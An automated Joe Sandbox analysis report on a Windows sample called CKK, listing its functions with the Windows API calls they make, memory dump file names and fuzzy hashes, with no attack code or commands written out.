Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: c39119252a0cb07dfe9a8fb3caf2658819c14422f60f808cd38d1defa03886b3
Instruction ID: 4f4df9f8cf0b26c3a6d5e97de7540f9d8fc96c9bf4e56092e095eb4d8d772e3b
Opcode Fuzzy Hash: c39119252a0cb07dfe9a8fb3caf2658819c14422f60f808cd38d1defa03886b3
Instruction Fuzzy Hash: C811E372700305ABCB14BF70EC02FAD77E5AF40B10F20A42EF546BA1D1EE709A499760

Uniqueness

Uniqueness Score: -1.00%

Function 00E78402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00E78440

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 785d40759ffc415f27517d2d27ed70a453b7496a4c38f8259153bead06069ea0
Instruction ID: fcb06b9c71d9d634afeaba011a716eba10c105f2fa87694d93f40e85cb711ea8
Opcode Fuzzy Hash: 785d40759ffc415f27517d2d27ed70a453b7496a4c38f8259153bead06069ea0
Instruction Fuzzy Hash: 6F11487190410AAFCB05DF58E9449DE7BF4EF48314F108059F818AB312EA70DA11CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00E49A40 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 00E49A9C

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a57b4b71896cba527b22f0639098d49ef3269e167dad2277276b6f62e39d6a23
Instruction ID: 283cf4a2a3abdc387af2578ad0ec5cbf076f8abe7fdc4d40eefc744025a76194
Opcode Fuzzy Hash: a57b4b71896cba527b22f0639098d49ef3269e167dad2277276b6f62e39d6a23
Instruction Fuzzy Hash: F4114C312047059FD720CF06E880B67B7F9EF44754F10D42EE9ABAA652C770E949DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00E75000 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E74C7D: RtlAllocateHeap.NTDLL(00000008,00E41129,00000000,?,00E72E29,00000001,00000364,?,?,?,00E6F2DE,00E73863,00F11444,?,00E5FDF5,?), ref: 00E74CBE

_free.LIBCMT ref: 00E7506C

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 70ee4adefee6eb26262b39f529bfb094e1f6354ac2554c6942b38d017f4a210d
Instruction ID: c2d0bff0180f7b1879258287233cc13a5a835d79b891e683464194a5c5254960
Opcode Fuzzy Hash: 70ee4adefee6eb26262b39f529bfb094e1f6354ac2554c6942b38d017f4a210d
Instruction Fuzzy Hash: 5C012B732047045BE3218E65984195AFBE8FB85370F25451DE198A32C0E6706D05C774

Uniqueness

Uniqueness Score: -1.00%

Function 00E6E469 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

__alldvrm.LIBCMT ref: 00E6E4BE

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: __alldvrm
String ID:
API String ID: 65215352-0
Opcode ID: a845a44d02681bb2d7e28a9375752329a8500175178d90c20446a2b2f7487fa6
Instruction ID: 640277859c1406d6b67a41c61a23d7b72229ea4b97e9e2ae3fcf200b165cada3
Opcode Fuzzy Hash: a845a44d02681bb2d7e28a9375752329a8500175178d90c20446a2b2f7487fa6
Instruction Fuzzy Hash: D301B575950308AFDB24DFB4DC457AEB7ECEB00368F10956EE415B7240DA31990087A0

Uniqueness

Uniqueness Score: -1.00%

Function 00E6E602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdb02cb5d44b5d694786f455fb1b19b1376b5bca3dd6da9f9dc09084e2e4678
Instruction ID: b8eb17cdf11a3998efc85cafae312c082b743952add054f68e96690837f246e0
Opcode Fuzzy Hash: 4bdb02cb5d44b5d694786f455fb1b19b1376b5bca3dd6da9f9dc09084e2e4678
Instruction Fuzzy Hash: C4F02D36550A1496D7313A75FD05B9E33D89F623B4F105715F525B33D2CB70D80186A6

Uniqueness

Uniqueness Score: -1.00%

Function 00E74C7D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00E41129,00000000,?,00E72E29,00000001,00000364,?,?,?,00E6F2DE,00E73863,00F11444,?,00E5FDF5,?), ref: 00E74CBE

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4815d78b99e4ce387eea17c277b3fc820d4131170b5b9c9076ce4f18075874fb
Instruction ID: fca9cdfb165727252f2019861ed268af999c6c28bfa6431f6343c3dddc3a2784
Opcode Fuzzy Hash: 4815d78b99e4ce387eea17c277b3fc820d4131170b5b9c9076ce4f18075874fb
Instruction Fuzzy Hash: 3EF0B4B1643224A6FB225F62AC05F9AB7C8BF417A4B1DE111F91DBA1D4CB31DC0086A0

Uniqueness

Uniqueness Score: -1.00%

Function 00E73820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00F11444,?,00E5FDF5,?,?,00E4A976,00000010,00F11440,00E413FC,?,00E413C6,?,00E41129), ref: 00E73852

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a20f1b2574c87ba4c12b7482f5c2291f7297ea8a2e0b797283ebaddd8ba1f43e
Instruction ID: 3547a153486c303656d93628c8176f9e39d9081420111704cf2ff213a7d929b7
Opcode Fuzzy Hash: a20f1b2574c87ba4c12b7482f5c2291f7297ea8a2e0b797283ebaddd8ba1f43e
Instruction Fuzzy Hash: 84E0E53114122596F7652A77AC00FDA77C8AB427F4F15A222FC1CB65D1CB31DD01B1E2

Uniqueness

Uniqueness Score: -1.00%

Function 00E74D7A Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E74D9C

Part of subcall function 00E729C8: HeapFree.KERNEL32(00000000,00000000), ref: 00E729DE
Part of subcall function 00E729C8: GetLastError.KERNEL32 ref: 00E729F0

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: a7136b118dd25681eba1fac516c3f168631d39be7bcab1b26d5392532d0b3266
Instruction ID: fbc5dff280968cebf565be23754f46e8870ea11c37ae899460a58b36c509c6f4
Opcode Fuzzy Hash: a7136b118dd25681eba1fac516c3f168631d39be7bcab1b26d5392532d0b3266
Instruction Fuzzy Hash: C8E092761403059F8720CF6CD400A82B7F4EF84324720C529EADDE3310D331E812CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00E44F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00E44F6D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 4bd615cc695867de7f66b2c850999f4cf1dfedb81ab00fd7e4ee8818baa76a35
Instruction ID: 3994a81bfbef88181a77ed0fd30d60e33ae119a3d2ef9d24ff20c51410ebbd5d
Opcode Fuzzy Hash: 4bd615cc695867de7f66b2c850999f4cf1dfedb81ab00fd7e4ee8818baa76a35
Instruction Fuzzy Hash: 1DF01CB1305752CFDB349F65E490956BBE4BF14319320A96EE1EAA2661C7319848DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00E42DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE ref: 00E42DC4

Part of subcall function 00E46B57: _wcslen.LIBCMT ref: 00E46B6A

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: dc92a20e526c2ffd96f79b954a9db1c8ea828be7a2f0a84051adcd204d507ef4
Instruction ID: 0f6aab4bb52d6e418fb3a2038ac1802b8bad07b481293cb54be9f4b3cdabcc46
Opcode Fuzzy Hash: dc92a20e526c2ffd96f79b954a9db1c8ea828be7a2f0a84051adcd204d507ef4
Instruction Fuzzy Hash: 41E0CD726001245BCB10A2989C05FDA77DDDFC87D4F0400B1FD0DF7258D960AD84C651

Uniqueness

Uniqueness Score: -1.00%

Function 00EB2693 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00EB26B5

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 62c4ae1466583100269b95fce18df2779376e23d7999e61a0ae1b5108404e028
Instruction ID: 0754d8d74b6ccadf1a7efa839c685363b09f93b087d62a437550d94a21e24f6f
Opcode Fuzzy Hash: 62c4ae1466583100269b95fce18df2779376e23d7999e61a0ae1b5108404e028
Instruction Fuzzy Hash: 92E0DFB0209B004FCF3C5A28A8517F777E89F4A300F00082EF69B93352E57228428A4D

Uniqueness

Uniqueness Score: -1.00%

Function 00E42B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00E43837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00E43908

SetCurrentDirectoryW.KERNEL32 ref: 00E42B6B

Part of subcall function 00E430F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 00E4314E

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectory
String ID:
API String ID: 2619246295-0
Opcode ID: 60fad6e35e697b022fe223b766af3e06426cb74498499b225d217ba2e9530d0f
Instruction ID: 94d0a414e82a376f021ee5de6dbc68a3af64f4afdb28bd39b9eb9f9d4b724872
Opcode Fuzzy Hash: 60fad6e35e697b022fe223b766af3e06426cb74498499b225d217ba2e9530d0f
Instruction Fuzzy Hash: BEE0862170424407CA08FB75B8565AEF7D9DBD6755F40353EF242B31A3CE6545898251

Uniqueness

Uniqueness Score: -1.00%

Function 00E8039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00E80704,?,?,00000000), ref: 00E803B7

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 57fe7a093191346b065deb32a9d46b88e368fb7e519e9ccde43dc136fc9be68c
Instruction ID: 0cd696c910461c659d4f3299ca304a64bde9ea4b0f3ab533817766873ecb6ea3
Opcode Fuzzy Hash: 57fe7a093191346b065deb32a9d46b88e368fb7e519e9ccde43dc136fc9be68c
Instruction Fuzzy Hash: A6D06C3204010DBFDF028F85ED06EDA3BAAFB48754F114000BE5866020C732E821EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00E41CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32 ref: 00E41CBC

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 14126ab6f435094387aa61801611db27ac7f5b5f48c5f88553938393c23241a8
Instruction ID: df4ac21abf85d989e4da064012c141ae06923602e4601da8776efb3f329f56b7
Opcode Fuzzy Hash: 14126ab6f435094387aa61801611db27ac7f5b5f48c5f88553938393c23241a8
Instruction Fuzzy Hash: 8FC09236280309AFF6548BC0BC9AF907B65F34CB00F19C102F709A95E3C3A22820FA50

Uniqueness

Uniqueness Score: -1.00%

Function 00EB744A Relevance: 1.5, APIs: 1, Instructions: 220COMMON

Download Yara Rule

APIs

Part of subcall function 00E45745: CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00E45773

GetLastError.KERNEL32 ref: 00EB76DE

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: 12cfbd7a26738fe7c24c369cb30541b4ef969fe22b7cd28f86d47a823e678170
Instruction ID: 037eefcc04f46808a53d6b6d85f650250e569a248e71e7b848ea22c7c6924798
Opcode Fuzzy Hash: 12cfbd7a26738fe7c24c369cb30541b4ef969fe22b7cd28f86d47a823e678170
Instruction Fuzzy Hash: A981A2306087019FC714EF28D491BAAB7E1BF89314F04652DF8867B6A2DB34ED45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00E5FC70 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00E5FD1F

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 1a69f5474b9311fa1dfb022f896807ca2d983b47b207ec7c9e667caa8b861604
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 85310274A001099BC718CF59D480A69FBB2FF49306B64AAB5E809EF656D731EDC5CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 00112300 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 00112311

Memory Dump Source

Source File: 00000003.00000002.447471100.0000000000110000.00000040.00001000.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CKK.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: e2df254de8c2fb3be45f9621f48da09837082d860dac535b2d744f78e974596e
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: B4E0BF7494010D9FDB00EFB4D5496AE7BB4EF04301F100561FD0192280D73099608A62

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00ED9576 Relevance: 72.4, APIs: 39, Strings: 2, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00ED961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00ED965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00ED969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00ED96C9
SendMessageW.USER32 ref: 00ED96F2
GetKeyState.USER32(00000011), ref: 00ED978B
GetKeyState.USER32(00000009), ref: 00ED9798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00ED97AE
GetKeyState.USER32(00000010), ref: 00ED97B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00ED97E9
SendMessageW.USER32 ref: 00ED9810
SendMessageW.USER32(?,00001030,?,00ED7E95), ref: 00ED9918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00ED992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00ED9941
SetCapture.USER32(?), ref: 00ED994A
ClientToScreen.USER32(?,?), ref: 00ED99AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00ED99BC
InvalidateRect.USER32(?,00000000,00000001), ref: 00ED99D6
ReleaseCapture.USER32 ref: 00ED99E1
GetCursorPos.USER32(?), ref: 00ED9A19
ScreenToClient.USER32(?,?), ref: 00ED9A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00ED9A80
SendMessageW.USER32 ref: 00ED9AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00ED9AEB
SendMessageW.USER32 ref: 00ED9B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00ED9B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00ED9B4A
GetCursorPos.USER32(?), ref: 00ED9B68
ScreenToClient.USER32(?,?), ref: 00ED9B75
GetParent.USER32(?), ref: 00ED9B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00ED9BFA
SendMessageW.USER32 ref: 00ED9C2B
ClientToScreen.USER32(?,?), ref: 00ED9C84
TrackPopupMenuEx.USER32 ref: 00ED9CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00ED9CDE
SendMessageW.USER32 ref: 00ED9D01
ClientToScreen.USER32(?,?), ref: 00ED9D4E
TrackPopupMenuEx.USER32 ref: 00ED9D82

Part of subcall function 00E59944: GetWindowLongW.USER32(?,000000EB), ref: 00E59952

GetWindowLongW.USER32(?,000000F0), ref: 00ED9E05

Strings

@GUI_DRAGID, xrefs: 00ED997D
F, xrefs: 00ED9D07

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

